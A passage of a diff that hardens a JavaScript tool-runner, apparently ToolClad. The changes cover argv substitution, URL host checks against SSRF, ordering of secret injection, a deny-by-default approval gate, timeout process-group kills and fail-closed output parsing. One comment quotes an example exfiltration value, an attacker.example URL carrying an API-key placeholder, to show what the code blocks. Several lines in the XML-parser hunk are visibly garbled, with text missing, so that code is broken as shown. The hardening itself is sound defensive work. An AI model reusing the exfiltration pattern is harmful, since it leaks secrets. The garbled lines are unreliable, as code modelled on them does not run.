throw new Error( + `unknown argument '${name}' (declared arguments: ${list})` + ); + } + } for (const [name, def] of Object.entries(argDefs)) { - let value = args[name]; + let value = supplied[name]; // Apply default if missing if (value === undefined || value === null) { @@ -75,122 +761,362 @@ function resolveArgs(manifest, args) { if (value === undefined) continue; } - resolved[name] = validateArg(def, value); + resolved[name] = validateArgIn(def, value, { execMode, scope, customTypes }); } return resolved; } +function lookupSingle(vars, name, where) { + if (!Object.hasOwn(vars, name) || vars[name] === undefined || vars[name] === null) { + throw new Error(`unresolved placeholder '{${name}}' in ${where}`); + } + return String(vars[name]); +} + +/** + * Substitute variables into a compiled token array, producing argv elements. + * + * - A token that is exactly `{name}` naming a multi-token var splices that + * var's tokens (0..n elements). + * - Otherwise every `{name}` in the token is replaced textually, in one pass + * that also unescapes `{{`/`}}`. The result is never re-split. + * - A token that was exactly one placeholder resolving to "" is dropped. + * - An unknown placeholder throws. + * + * @param {string[]} tokens + * @param {object} vars - Single-token variables + * @param {object} multi - Multi-token variables (name -> string[]) + * @param {object} [opts] + * @param {Set} [opts.userArgs] - Declared arg names (for end_of_options) + * @param {boolean} [opts.endOfOptions] - Insert `--` before the first user-arg token + * @param {string} [opts.where="command"] - Label for error messages + * @returns {string[]} argv elements + */ +function substituteTokens(tokens, vars, multi, opts = {}) { + const { userArgs = null, endOfOptions = false, where = "command" } = opts; + const argv = []; + let separatorInserted = false; + + for (const token of tokens) { + const whole = WHOLE_PLACEHOLDER_RE.exec(token); + if (whole) { + const name = whole[1]; + if (Object.hasOwn(multi, name)) { + argv.push(...multi[name]); + continue; + } + const value = lookupSingle(vars, name, where); + if (value === "") continue; + if (endOfOptions && !separatorInserted && userArgs && userArgs.has(name)) { + argv.push("--"); + separatorInserted = true; + } + argv.push(value); + continue; + } + + const out = token.replace(BRACE_PASS_RE, (m, name) => { + if (m === "{{") return "{"; + if (m === "}}") return "}"; + if (Object.hasOwn(multi, name)) { + throw new Error( + `placeholder '{${name}}' expands to multiple tokens and must be a whole token in ${where}` + ); + } + return lookupSingle(vars, name, where); + }); + argv.push(out); + } + + return argv; +} + /** - * Resolve all template variables: args, defaults, mappings, conditionals, - * and executor-injected variables into a single interpolation context. + * Resolve the full substitution context: validated args, single-token vars + * (args, command.defaults, executor-injected), and multi-token vars + * (mappings as `__flags`, conditionals as `_`). * * @param {object} manifest - Parsed manifest * @param {object} args - User-supplied arguments (key=value) - * @returns {{ resolvedArgs: object, context: object }} + * @param {object} [opts] + * @param {string} [opts.scanId] - The invocation's scan id (generated when absent) + * @returns {{ resolvedArgs: object, vars: object, multi: object, userArgs: Set, execMode: boolean, scanId: string, paths: object }} */ -function resolveContext(manifest, args) { - const resolvedArgs = resolveArgs(manifest, args); +function resolveContext(manifest, args, opts = {}) { + compileCommand(manifest); const command = manifest.command; - const context = { ...resolvedArgs }; + const execMode = command._execWasDeclared === true; + const resolvedArgs = resolveArgs(manifest, args, execMode); + const argDefs = manifest.args || {}; + const vars = Object.create(null); + // Declared-but-unset optionals resolve to "" so their tokens disappear. + for (const name of Object.keys(argDefs)) { + vars[name] = ""; + } + for (const [name, value] of Object.entries(resolvedArgs)) { + vars[name] = value; + } if (command.defaults) { for (const [key, val] of Object.entries(command.defaults)) { - if (context[key] === undefined) { - context[key] = val; + if (!Object.hasOwn(resolvedArgs, key)) { + vars[key] = val; } } } - const scanId = `${Math.floor(Date.now() / 1000)}-${randomBytes(2).toString("hex")}`; - context._scan_id = scanId; - context._output_file = `/tmp/toolclad-${scanId}-output`; - context._evidence_dir = process.env.TOOLCLAD_EVIDENCE_DIR || join(tmpdir(), "toolclad-evidence"); + const scanId = opts.scanId || newScanId(); + const paths = evidencePaths(manifest, scanId); + vars._scan_id = scanId; + vars._output_file = paths.outputFile; + vars._evidence_dir = paths.evidenceDir; + const multi = Object.create(null); if (command.mappings) { for (const [argName, mapping] of Object.entries(command.mappings)) { - const argValue = context[argName]; - if (argValue !== undefined && mapping[argValue] !== undefined) { - context[`_${argName}_flags`] = mapping[argValue]; - context["_scan_flags"] = mapping[argValue]; + const key = `_${argName}_flags`; + // An absent optional (no value, no default) contributes nothing. + if (!Object.hasOwn(resolvedArgs, argName)) { + multi[key] = []; + continue; + } + // A value that exists but has no entry is an error, never an empty splice. + const mapKey = String(resolvedArgs[argName]); + if (!Object.hasOwn(mapping, mapKey)) { + throw new Error( + `no mapping for argument '${argName}' value '${mapKey}' in [command.mappings.${argName}]` + ); } + // Mapping values are manifest-controlled text, so splitting is safe. + multi[key] = tokenizeTemplate( + String(mapping[mapKey]), + `command.mappings.${argName} value` + ); } } if (command.conditionals) { for (const [name, cond] of Object.entries(command.conditionals)) { - const result = evaluateCondition(cond.when, context); - context[`_cond_${name}`] = result ? interpolate(cond.template, context) : ""; + const key = `_${name}`; + multi[key] = evaluateCondition(cond.when, vars) + ? substituteTokens(cond._tokens, vars, multi, { + where: `command.conditionals.${name}`, + }) + : []; } } - return { resolvedArgs, context }; + const userArgs = new Set(Object.keys(argDefs)); + return { resolvedArgs, vars, multi, userArgs, execMode, scanId, paths }; } /** - * Build an argv array from the manifest's exec field and validated args. - * Each element is interpolated independently, preserving argument boundaries. - * This avoids the template→string→split round-trip that breaks when values - * contain spaces or quote characters. + * Build an argv array from the manifest's compiled exec form and validated + * args. Each token is substituted independently and never re-split, so a + * value containing whitespace stays one argv element. * * @param {object} manifest - Parsed manifest * @param {object} args - User-supplied arguments (key=value) - * @returns {{ argv: string[], resolvedArgs: object }} + * @param {object} [opts] + * @param {string} [opts.scanId] - The invocation's scan id (generated when absent) + * @returns {{ argv: string[], resolvedArgs: object, scanId: string, paths: object }} */ -export function buildCommandArgv(manifest, args) { - const execArray = manifest.command.exec; - if (!execArray || execArray.length === 0) { +export function buildCommandArgv(manifest, args, opts = {}) { + compileCommand(manifest); + const command = manifest.command; + const execArray = command.exec; + if (!Array.isArray(execArray) || execArray.length === 0) { throw new Error("Manifest has no exec array"); } - const { resolvedArgs, context } = resolveContext(manifest, args); - const argv = execArray.map((element) => interpolate(element, context)); + const ctx = resolveContext(manifest, args, opts); + const argv = substituteTokens(execArray, ctx.vars, ctx.multi, { + userArgs: ctx.userArgs, + endOfOptions: command.end_of_options === "--", + where: "command", + }); - if (argv.length === 0 || !argv[0]) { + if (argv.length === 0 || argv[0] === "") { throw new Error("exec array produced empty argv"); } - return { argv, resolvedArgs }; + return { argv, resolvedArgs: ctx.resolvedArgs, scanId: ctx.scanId, paths: ctx.paths }; } /** - * Build the final command string from a manifest template and validated args. - * For new manifests, prefer buildCommandArgv with the exec array format. + * Build the command for a manifest. The authoritative result is `argv`; + * `command` is a display string (argv joined by single spaces). * * @param {object} manifest - Parsed manifest * @param {object} args - User-supplied arguments (key=value) - * @returns {{ command: string, resolvedArgs: object }} The constructed command and resolved args + * @param {object} [opts] + * @param {string} [opts.scanId] - The invocation's scan id (generated when absent) + * @returns {{ command: string, argv: string[], resolvedArgs: object, isExecutor: boolean, scanId: string, paths: object }} */ -export function buildCommand(manifest, args) { +export function buildCommand(manifest, args, opts = {}) { + compileCommand(manifest); const command = manifest.command; - // If using an executor script, return that info + // Escape hatch: a wrapper script receives validated args via env vars. if (command.executor) { - const resolvedArgs = resolveArgs(manifest, args); - return { command: command.executor, resolvedArgs, isExecutor: true }; + const resolvedArgs = resolveArgs(manifest, args, false); + const scanId = opts.scanId || newScanId(); + return { + command: command.executor, + argv: [command.executor], + resolvedArgs, + isExecutor: true, + scanId, + paths: evidencePaths(manifest, scanId), + }; } - const { resolvedArgs, context } = resolveContext(manifest, args); - const result = interpolate(command.template, context); - + const { argv, resolvedArgs, scanId, paths } = buildCommandArgv(manifest, args, opts); return { - command: result.replace(/\s+/g, " ").trim(), + command: argv.join(" "), + argv, resolvedArgs, isExecutor: false, + scanId, + paths, }; } /** - * Interpolate {placeholder} references in a template string. + * Interpolate {placeholder} references in an HTTP template string. + * `{{`/`}}` are literal braces; an unknown placeholder throws. Each value is + * passed through `encode` (identity for headers and the JSON-escaped body). */ -function interpolate(template, context) { - return template.replace(/\{(\w+)\}/g, (match, key) => { - const val = context[key]; - if (val === undefined) return ""; - return String(val); +function interpolate(template, context, encode = (v) => v) { + return template.replace(BRACE_PASS_RE, (m, key) => { + if (m === "{{") return "{"; + if (m === "}}") return "}"; + if (!Object.hasOwn(context, key) || context[key] === undefined) { + throw new Error(`unresolved placeholder '{${key}}' in template`); + } + return encode(String(context[key])); }); } +/** RFC 7230 token: the only shape an HTTP header name may take. */ +const HEADER_NAME_RE = /^[!#$%&'*+\-.^_`|~0-9A-Za-z]+$/; + +/** + * Load-time (and pre-request) checks on `[http]`: + * + * - `http.url` may not interpolate into the scheme or the host. The host is + * the SSRF boundary and must be manifest-controlled, so any `{` other + * than a `{{` escape before the end of the authority is refused (this + * covers `{_secret:…}` too). + * - The literal host is held to the host policy: always-blocked addresses + * are refused, and when any argument declares `block_internal = true` the + * internal ranges and internal names are refused as well. Loopback is + * allowed by default. + * - Every header name must be an RFC 7230 token. + * + * @param {object} manifest - Manifest with an [http] section + * @throws {Error} on the first violation + */ +export function checkHttpDefinition(manifest) { + const httpDef = manifest.http; + if (!httpDef || typeof httpDef.url !== "string") return; + const url = httpDef.url; + + const schemeEnd = url.indexOf("://"); + const authorityStart = schemeEnd === -1 ? 0 : schemeEnd + 3; + const rest = url.slice(authorityStart); + const pathStart = rest.search(/[/?#]/); + const authorityEnd = authorityStart + (pathStart === -1 ? rest.length : pathStart); + const head = url.slice(0, authorityEnd).replace(/\{\{|\}\}/g, ""); + if (head.includes("{")) { + throw new Error("http.url may not interpolate into the scheme or host"); + } + if (schemeEnd === -1) { + throw new Error(`http.url must be an absolute URL (scheme://host): ${url}`); + } + + let host = url.slice(authorityStart, authorityEnd); + if (host.includes("@")) { + throw new Error("http.url must not contain userinfo (user:pass@host)"); + } + if (host.startsWith("[")) { + host = host.slice(1, host.indexOf("]") === -1 ? host.length : host.indexOf("]")); + } else if (host.includes(":")) { + host = host.slice(0, host.indexOf(":")); + } + const blockInternal = Object.values(manifest.args || {}).some( + (def) => def && def.block_internal === true + ); + const ip = parseCanonicalIp(host); + if (ip !== null) { + enforceIpPolicy(ip, blockInternal); + } else if (blockInternal) { + const embedded = embeddedIpv4Literal(host); + if (embedded !== null) enforceIpPolicy(embedded, true); + const internal = internalNameReason(host); + if (internal !== null) throw new Error(`http.url host ${internal}`); + } + + for (const name of Object.keys(httpDef.headers || {})) { + if (!HEADER_NAME_RE.test(name)) { + throw new Error(`http.headers: header name '${name}' is not a valid token`); + } + } +} + +/** + * Build the url, headers and body of an [http] request. + * + * Order matters (TC-7): `{_secret:name}` references are expanded on the + * manifest template FIRST, and only then are the validated arguments + * interpolated. Argument values are never scanned for secret references, so + * a value such as `https://attacker.example/?k={_secret:api_key}` is sent + * verbatim rather than carrying the secret out. This holds for `http.url`, + * every `http.headers` value and `http.body_template`, independently of the + * metacharacter check that also refuses braces in most argument types. + * + * Values interpolated into `http.url` are percent-encoded with + * `encodeURIComponent` in both the path and the query, so `/`, `?`, `#`, + * `&`, `=`, `%` and `..` can never change the URL's structure. Header values + * are refused if they contain CR or LF after interpolation. + * + * @param {object} httpDef - The manifest's [http] section + * @param {object} context - Validated arguments for url and headers + * @param {object} bodyContext - Validated arguments for body_template + * @returns {{ url: string, headers: object, body: string|undefined }} + */ +function buildHttpRequest(httpDef, context, bodyContext) { + // One resolver per request: TOOLCLAD_SECRETS_FILE is read at most once. + const secret = makeSecretResolver(); + const url = interpolate( + injectTemplateVars(httpDef.url, secret), + context, + encodeURIComponent + ); + + const headers = {}; + if (httpDef.headers) { + for (const [key, val] of Object.entries(httpDef.headers)) { + if (!HEADER_NAME_RE.test(key)) { + throw new Error(`http.headers: header name '${key}' is not a valid token`); + } + const value = interpolate(injectTemplateVars(String(val), secret), context); + if (/[\r\n\0]/.test(value)) { + throw new Error(`header '${key}' contains CR, LF or NUL after interpolation`); + } + headers[key] = value; + } + } + + let body = undefined; + if (httpDef.body_template) { + body = interpolate(injectTemplateVars(httpDef.body_template, secret), bodyContext); + } + + return { url, headers, body }; +} + /** * Evaluate a simple condition expression against the context. * Supports: "key != value", "key == value", "key != '' and other_key == ''" @@ -219,17 +1145,137 @@ function evaluateSingleCondition(expr, context) { return false; } +/** + * Policy gate seam (TC-9). + * + * A gate is `(manifest, validatedArgs) => GateDecision`. It is consulted + * after argument validation (so it sees the cleaned values and cannot be + * used to probe validity) and before anything is spawned, any HTTP request + * is made, or any MCP envelope is built. A dry run is not gated: it executes + * nothing, and it is how an operator decides whether to approve. + * + * `[tool.cedar]` declares the resource and action for an embedding + * runtime's Cedar evaluator. ToolClad does not evaluate Cedar policy itself; + * wiring such an evaluator into a gate passed to `execute` is the embedder's + * job. + */ +export const GateDecision = Object.freeze({ + /** @returns {{ allowed: true }} */ + allow() { + return Object.freeze({ allowed: true }); + }, + /** + * @param {string} reason + * @returns {{ allowed: false, reason: string }} + */ + deny(reason) { + return Object.freeze({ allowed: false, reason: String(reason) }); + }, +}); + +/** Thrown when a gate denies a call; the message starts `policy gate denied: `. */ +export class PolicyGateError extends Error { + constructor(reason) { + super(`policy gate denied: ${reason}`); + this.name = "PolicyGateError"; + this.reason = reason; + } +} + +/** + * The deny-by-default gate: denies a manifest that sets + * `human_approval = true` or whose `risk_tier` is `high` or `critical`. + * + * @param {object} manifest + * @param {object} _args - Validated arguments (unused) + * @returns {object} GateDecision + */ +export function defaultGate(manifest, _args) { + const tool = manifest.tool || {}; + if (tool.human_approval === true) { + return GateDecision.deny("manifest requires human approval (human_approval = true)"); + } + const tier = tool.risk_tier; + if (typeof tier === "string" && ["high", "critical"].includes(tier.toLowerCase())) { + return GateDecision.deny(`risk_tier '${tier}' requires explicit approval`); + } + return GateDecision.allow(); +} + +/** The allow-all gate behind `{ approve: true }` and `run --approve`. */ +export function approveGate(_manifest, _args) { + return GateDecision.allow(); +} + +function selectGate(options) { + const { gate, approve } = options || {}; + const hasGate = gate !== undefined && gate !== null; + if (hasGate && approve) { + throw new Error("pass either a gate or approve: true, not both"); + } + if (approve === true) return approveGate; + if (!hasGate) return defaultGate; + if (typeof gate !== "function") { + throw new TypeError("gate must be a function (manifest, args) => GateDecision"); + } + return gate; +} + +/** + * Consult the selected gate; throw PolicyGateError unless it allows. + * Anything other than an explicit allow decision denies (fail closed). + */ +function consultGate(manifest, resolvedArgs, options) { + const gate = selectGate(options); + const decision = gate(manifest, Object.freeze({ ...resolvedArgs })); + if (decision && typeof decision.then === "function") { + throw new PolicyGateError("gate must return a GateDecision synchronously"); + } + if (!decision || decision.allowed !== true) { + const reason = + decision && typeof decision.reason === "string" && decision.reason !== "" + ? decision.reason + : "gate returned no allow decision"; + throw new PolicyGateError(reason); + } +} + +/** + * The declared, unexpanded command for an executed envelope (design issue + * 9): the `exec` array as written joined by single spaces, the legacy + * template string as written, or ` (custom executor)`. Executor + * paths and secrets therefore never reach the agent or the evidence file. + * + * @param {object} manifest - A compiled manifest + * @returns {string} + */ +export function declaredCommand(manifest) { + const command = manifest.command || {}; + if (command.executor) return `${command.executor} (custom executor)`; + if (command._execWasDeclared === true) return command.exec.join(" "); + if (typeof command.template === "string") return command.template; + return Array.isArray(command.exec) ? command.exec.join(" ") : ""; +} + /** * Execute a tool using its manifest and supplied arguments. - * Validates args, builds command, spawns process, wraps output in evidence envelope. + * Validates args, consults the policy gate, builds argv, spawns the process, + * and wraps its output in an evidence envelope. Asynchronous: the deadline is + * enforced by a timer and a process-group kill, which a synchronous spawn + * cannot do. * * @param {object} manifest - Parsed manifest * @param {object} args - User-supplied arguments (key=value) * @param {object} [options] - Execution options - * @param {boolean} [options.dryRun=false] - If true, build command but don't execute - * @returns {object} Evidence envelope with results + * @param {boolean} [options.dryRun=false] - If true, build command but don't execute (not gated) + * @param {Function} [options.gate] - `(manifest, validatedArgs) => GateDecision`; defaults to defaultGate + * @param {boolean} [options.approve=false] - Use the allow-all gate (exclusive with `gate`) + * @returns {Promise} Evidence envelope with results + * @throws {PolicyGateError} when the gate denies the call */ -export function execute(manifest, args, options = {}) { +export async function execute(manifest, args, options = {}) { + selectGate(options); + // Gate unimplemented modes if (manifest.session) { throw new Error( @@ -242,156 +1288,327 @@ export function execute(manifest, args, options = {}) { ); } - // Route to HTTP backend (synchronous via curl) + // Route to the HTTP backend (fetch). if (manifest.http) { - return executeHttpSync(manifest, args, options); + return executeHttp(manifest, args, options); } // Route to MCP proxy backend if (manifest.mcp) { - return executeMcp(manifest, args); + return executeMcp(manifest, args, options); } - // Determine if we're using exec array, template, or custom executor. - let cmdParts; - let commandDisplay; - let resolvedArgs; - let isExecutor = false; - - if (manifest.command.exec && manifest.command.exec.length > 0) { - // PREFERRED: Array-based command — maps directly to execve, no splitting. - const built = buildCommandArgv(manifest, args); - cmdParts = built.argv; - resolvedArgs = built.resolvedArgs; - commandDisplay = cmdParts.join(" "); - } else { - const built = buildCommand(manifest, args); - commandDisplay = built.command; - resolvedArgs = built.resolvedArgs; - isExecutor = built.isExecutor; - cmdParts = splitCommand(built.command); - } + compileCommand(manifest); + checkOutputParser(manifest); + const maxBytes = outputMaxBytes(manifest); + const timeoutMs = timeoutSeconds(manifest) * 1000; + const built = buildCommand(manifest, args, { scanId: newScanId() }); + const { argv: cmdParts, command: commandDisplay, resolvedArgs, isExecutor, scanId, paths } = built; if (options.dryRun) { return { status: "dry_run", + scan_id: scanId, tool: manifest.tool.name, command: commandDisplay, + argv: cmdParts, resolvedArgs, }; } - const timeoutMs = (manifest.tool.timeout_seconds || 30) * 1000; - const startTime = Date.now(); - - let result; - + // After validation, before anything touches the filesystem or spawns. + consultGate(manifest, resolvedArgs, options); + + // Evidence root, output directory and per-invocation scratch cwd, all 0700 + // and created before the spawn. The output file is pre-created 0600 with + // O_EXCL so the tool writes into a private file and a planted symlink + // cannot redirect it (Node cannot set a umask for the child; this is the + // substitute for the output file). + ensurePrivateDir(paths.evidenceDir); + ensurePrivateDir(paths.outputDir); + createPrivateFile(paths.outputFile); + const workDir = join(paths.evidenceDir, `${scanId}-work`); + ensurePrivateDir(workDir); + + let env; if (isExecutor) { - // Escape hatch: pass validated args as env vars - const env = { ...process.env }; + // Escape hatch: validated args reach the wrapper as environment + // variables. buildChildEnv drops TOOLCLAD_SECRET_* regardless. + const extra = {}; for (const [key, val] of Object.entries(resolvedArgs)) { - env[`TOOLCLAD_ARG_${key.toUpperCase()}`] = String(val); + extra[`TOOLCLAD_ARG_${key.toUpperCase()}`] = String(val); } - env.TOOLCLAD_SCAN_ID = `${Math.floor(Date.now() / 1000)}-${randomBytes(2).toString("hex")}`; - env.TOOLCLAD_EVIDENCE_DIR = - process.env.TOOLCLAD_EVIDENCE_DIR || join(tmpdir(), "toolclad-evidence"); - - result = spawnSync(cmdParts[0], cmdParts.slice(1), { - shell: false, - timeout: timeoutMs, - detached: true, - env, - encoding: "utf-8", - maxBuffer: 10 * 1024 * 1024, - }); + extra.TOOLCLAD_SCAN_ID = scanId; + extra.TOOLCLAD_TOOL_NAME = manifest.tool.name; + extra.TOOLCLAD_EVIDENCE_DIR = paths.evidenceDir; + extra.TOOLCLAD_OUTPUT_DIR = paths.outputDir; + env = buildChildEnv(extra); } else { - result = spawnSync(cmdParts[0], cmdParts.slice(1), { - shell: false, - timeout: timeoutMs, - detached: true, - encoding: "utf-8", - maxBuffer: 10 * 1024 * 1024, - }); + env = buildChildEnv(); } - // On timeout, kill the entire process group. - if (result.signal === "SIGTERM" && result.pid) { + const binary = resolveBinary(cmdParts[0]); + const startTime = Date.now(); + let result; + try { + result = await runWithDeadline(binary, cmdParts.slice(1), { + env, + cwd: workDir, + timeoutMs, + graceMs: killGraceMs(), + maxBytes, + }); + } finally { + // Remove the scratch directory only when empty: anything the tool wrote + // there is evidence. try { - process.kill(-result.pid, "SIGKILL"); + rmdirSync(workDir); } catch { - // Process group may already be gone. + // Not empty (or already gone): keep it. } } const durationMs = Date.now() - startTime; - const stdout = result.stdout || ""; - const stderr = result.stderr || ""; - const exitCode = result.status; - - const scanId = `${Math.floor(startTime / 1000)}-${randomBytes(2).toString("hex")}`; + const { stdout, stderr, timedOut, truncated } = result; + const exitCode = timedOut ? -1 : result.exitCode; const outputHash = createHash("sha256").update(stdout).digest("hex"); - // Build evidence envelope with exit_code and stderr on all paths. + // Build evidence envelope with exit_code and stderr on all paths. The + // command is the declared form, never the resolved argv. const envelope = { - status: exitCode === 0 ? "success" : "error", + status: timedOut ? "timeout" : exitCode === 0 ? "success" : "error", scan_id: scanId, tool: manifest.tool.name, - command: commandDisplay, + command: declaredCommand(manifest), exit_code: exitCode ?? -1, stderr, duration_ms: durationMs, timestamp: new Date(startTime).toISOString(), output_hash: `sha256:${outputHash}`, }; + if (truncated) envelope.output_truncated = true; - if (exitCode !== 0) { + if (timedOut) { + envelope.error = `Process timed out after ${timeoutMs / 1000}s`; + envelope.results = { raw_output: stdout }; + } else if (exitCode !== 0) { envelope.error = stderr || `Process exited with code ${exitCode}`; envelope.results = { raw_output: stdout }; } else { - envelope.results = parseOutputJs(manifest, stdout); + const finished = finishResults(manifest, stdout); + envelope.status = finished.status; + envelope.results = finished.results; } return envelope; } /** - * Parse tool output based on the manifest's output.format / output.parser. + * Removed synchronous entry point. Throws so a caller still using it fails + * loudly instead of silently getting the old, unenforceable timeout. + */ +export function executeSync() { + throw new Error("executeSync was removed: execute() is async; await execute(...)"); +} + +/** Length of the longest prefix of `buf` that ends on a UTF-8 boundary. */ +function utf8Boundary(buf) { + let i = buf.length - 1; + let continuation = 0; + while (i >= 0 && continuation < 3 && (buf[i] & 0xc0) === 0x80) { + i--; + continuation++; + } + if (i < 0) return buf.length; + const lead = buf[i]; + const need = lead >= 0xf0 ? 4 : lead >= 0xe0 ? 3 : lead >= 0xc0 ? 2 : 1; + return need > buf.length - i ? i : buf.length; +} + +/** Decode captured chunks; a capped capture drops a split trailing character. */ +function decodeCapped(chunks, truncated) { + let buf = Buffer.concat(chunks); + if (truncated) buf = buf.subarray(0, utf8Boundary(buf)); + return buf.toString("utf-8"); +} + +/** + * Spawn `binary` with `args` in its own process group and enforce a deadline. + * + * stdin is /dev/null; stdout and stderr are captured up to `maxBytes` each. + * Past the cap, chunks are discarded but the pipe keeps being read so the + * child never blocks on a full pipe, and `truncated` is set. On the deadline: + * SIGTERM to the group, then SIGKILL to the group after `graceMs`; resolves + * on `close`, keeping whatever output was captured before the kill. + * + * Node cannot set a umask or resource limits for a child process portably + * (there is no pre-exec hook), so neither is applied here; the Rust and + * Python runtimes set them. + * + * @returns {Promise<{ stdout: string, stderr: string, exitCode: number|null, signal: string|null, timedOut: boolean, truncated: boolean }>} + */ +function runWithDeadline(binary, args, { env, cwd, timeoutMs, graceMs, maxBytes = DEFAULT_OUTPUT_MAX_BYTES }) { + return new Promise((resolve, reject) => { + let child; + try { + child = spawn(binary, args, { + shell: false, + detached: true, + stdio: ["ignore", "pipe", "pipe"], + env, + cwd, + }); + } catch (err) { + reject(err); + return; + } + + const capture = (stream) => { + const state = { chunks: [], size: 0, truncated: false }; + stream.on("data", (chunk) => { + if (state.truncated) return; + const room = maxBytes - state.size; + if (chunk.length > room) { + if (room > 0) state.chunks.push(chunk.subarray(0, room)); + state.size = maxBytes; + state.truncated = true; + return; + } + state.chunks.push(chunk); + state.size += chunk.length; + }); + return state; + }; + const out = capture(child.stdout); + const err = capture(child.stderr); + + const killGroup = (signal) => { + try { + process.kill(-child.pid, signal); + } catch { + // The group is already gone. + } + }; + + let timedOut = false; + let graceTimer = null; + // The kill is cleanup, not containment: a child that calls setsid() + // leaves the process group and escapes both signals in every language. + // Escape-proof cleanup needs a cgroup, which is out of scope here. + const deadline = setTimeout(() => { + timedOut = true; + killGroup("SIGTERM"); + graceTimer = setTimeout(() => { + killGroup("SIGKILL"); + // A process outside the group may still hold the pipes open; stop + // waiting on them so `close` fires and the call returns. + child.stdout.destroy(); + child.stderr.destroy(); + }, graceMs); + }, timeoutMs); + + child.on("error", (spawnErr) => { + clearTimeout(deadline); + if (graceTimer) clearTimeout(graceTimer); + reject(spawnErr); + }); + + child.on("close", (code, signal) => { + clearTimeout(deadline); + if (timedOut && graceTimer) { + // The direct child is gone, but group members that ignored SIGTERM + // may remain: kill the group now rather than waiting out the grace. + clearTimeout(graceTimer); + killGroup("SIGKILL"); + } + resolve({ + stdout: decodeCapped(out.chunks, out.truncated), + stderr: decodeCapped(err.chunks, err.truncated), + exitCode: code, + signal, + timedOut, + truncated: out.truncated || err.truncated, + }); + }); + }); +} + +function isPlainObject(value) { + return value !== null && typeof value === "object" && !Array.isArray(value); +} + +/** + * Parse tool output based on the manifest's output.format / output.parser, + * normalized so `results` is always an object: json objects pass through and + * any other json value is wrapped as `{parsed_output}`; jsonl and csv give + * `{parsed_output: [...]}`; text gives `{raw_output}`. * * @param {object} manifest - Parsed manifest * @param {string} raw - Raw output string * @returns {object} Parsed results + * @throws {Error} when the output does not parse */ function parseOutputJs(manifest, raw) { + checkOutputParser(manifest); const format = manifest.output?.format || "text"; const parser = manifest.output?.parser || `builtin:${format}`; switch (parser) { case "builtin:json": { + let value; try { - return JSON.parse(raw); - } catch { - return { raw_output: raw }; + value = JSON.parse(raw); + } catch (err) { + throw new Error(`invalid JSON output: ${err.message}`); } + return isPlainObject(value) ? value : { parsed_output: value }; } case "builtin:jsonl": { - try { - const lines = raw.trim().split("\n").filter(l => l.trim()); - return { parsed_output: lines.map(l => JSON.parse(l)) }; - } catch { - return { raw_output: raw }; - } + const lines = raw.split("\n").filter((l) => l.trim()); + return { + parsed_output: lines.map((line, i) => { + try { + return JSON.parse(line); + } catch (err) { + throw new Error(`invalid JSON on output line ${i + 1}: ${err.message}`); + } + }), + }; } - case "builtin:csv": { + case "builtin:csv": return { parsed_output: parseCsv(raw) }; - } - case "builtin:xml": { + case "builtin:xml": return parseXmlToJson(raw); - } default: return { raw_output: raw }; } } +/** + * Parse and schema-check raw output, fail closed (TC-14). A parse failure + * gives status `parse_error`, a schema mismatch `schema_error`; both keep the + * raw output under `results.raw_output`. Without `[output.schema]` the + * schema is `{type: "object"}`, which every normalized result satisfies. + * + * @param {object} manifest + * @param {string} raw + * @returns {{ status: string, results: object }} + */ +function finishResults(manifest, raw) { + let parsed; + try { + parsed = parseOutputJs(manifest, raw); + } catch (err) { + return { status: "parse_error", results: { parse_error: err.message, raw_output: raw } }; + } + const schema = manifest.output?.schema ?? { type: "object" }; + const failure = validateJsonSchema(schema, parsed); + if (failure !== null) { + return { status: "schema_error", results: { schema_error: failure, raw_output: raw } }; + } + return { status: "success", results: parsed }; +} + /** * Parse CSV text into an array of objects using the first row as headers. * Auto-detects delimiter (comma, tab, pipe) and performs basic type inference. @@ -455,13 +1672,24 @@ function splitCsvLine(line, delimiter) { /** * Simple XML-to-JSON parser. Handles elements, attributes, text content, - * and self-closing tags. Falls back to raw_output on parse failure. + * and self-closing tags. Input carrying a DOCTYPE or ENTITY declaration is + * refused before parsing, and a malformed document throws (fail closed). */ function parseXmlToJson(xml) { const trimmed = xml.trim(); if (!trimmed) return { raw_output: "" }; + if (/ { + const end = trimmed.indexOf(">", from); + if (end === -1) throw new Error("invalid XML output: unterminated tag"); + return end; + }; - try { + { let pos = 0; // Skip XML declaration if (trimmed.startsWith("", pos); + const tagEnd = closeOf(pos); pos = tagEnd + 1; const finishedObj = { ...currentObj }; @@ -505,11 +1733,10 @@ function parseXmlToJson(xml) { currentObj = parentObj; } } else if (trimmed[pos] === "!" || trimmed[pos] === "?") { - const end = trimmed.indexOf(">", pos); - pos = end + 1; + pos = closeOf(pos) + 1; } else { // Opening tag - const tagEnd = trimmed.indexOf(">", pos); + const tagEnd = closeOf(pos); let tagContent = trimmed.substring(pos, tagEnd); const selfClosing = tagContent.endsWith("/"); if (selfClosing) tagContent = tagContent.slice(0, -1); @@ -547,166 +1774,113 @@ function parseXmlToJson(xml) { } } - if (currentName) { - const root = {}; - root[currentName] = currentObj; - return root; + if (stack.length > 0 || currentName) { + throw new Error(`invalid XML output: unclosed element <${currentName}>`); } return currentObj; - } catch { - return { raw_output: xml }; } } /** - * Execute an HTTP manifest synchronously using curl via spawnSync. + * Deprecated alias of `executeHttp`. The old implementation ran curl with + * every header and the URL on its command line, where any local user could + * read them from `/proc//cmdline`. It now delegates to the fetch-based + * `executeHttp` and therefore returns a Promise: await it. * + * @deprecated Use `await executeHttp(manifest, args, options)`. * @param {object} manifest - Parsed manifest with http section * @param {object} args - User-supplied arguments (key=value) - * @param {object} [options] - Execution options - * @param {boolean} [options.dryRun=false] - If true, build request but don't execute - * @returns {object} Evidence envelope with http_status + * @param {object} [options] - Same options as executeHttp + * @returns {Promise} Evidence envelope with http_status */ -function executeHttpSync(manifest, args, options = {}) { - const httpDef = manifest.http; - if (!httpDef || !httpDef.url) { - throw new Error("Manifest missing [http] section or http.url"); - } - - const resolvedArgs = resolveArgs(manifest, args); - const context = { ...resolvedArgs }; - - let url = interpolate(httpDef.url, context); - url = injectTemplateVars(url); +export function executeHttpSync(manifest, args, options = {}) { + return executeHttp(manifest, args, options); +} - const headers = {}; - if (httpDef.headers) { - for (const [key, val] of Object.entries(httpDef.headers)) { - headers[key] = injectTemplateVars(interpolate(val, context)); +/** + * Read at most `maxBytes` of a fetch response body through its stream + * reader. If more arrives, the stream is cancelled and `truncated` is set. + */ +async function readCappedBody(response, maxBytes) { + if (!response.body) return { text: "", truncated: false }; + const reader = response.body.getReader(); + const chunks = []; + let size = 0; + let truncated = false; + try { + for (;;) { + const { done, value } = await reader.read(); + if (done) break; + const room = maxBytes - size; + if (value.length > room) { + if (room > 0) chunks.push(Buffer.from(value.subarray(0, room))); + size = maxBytes; + truncated = true; + break; + } + 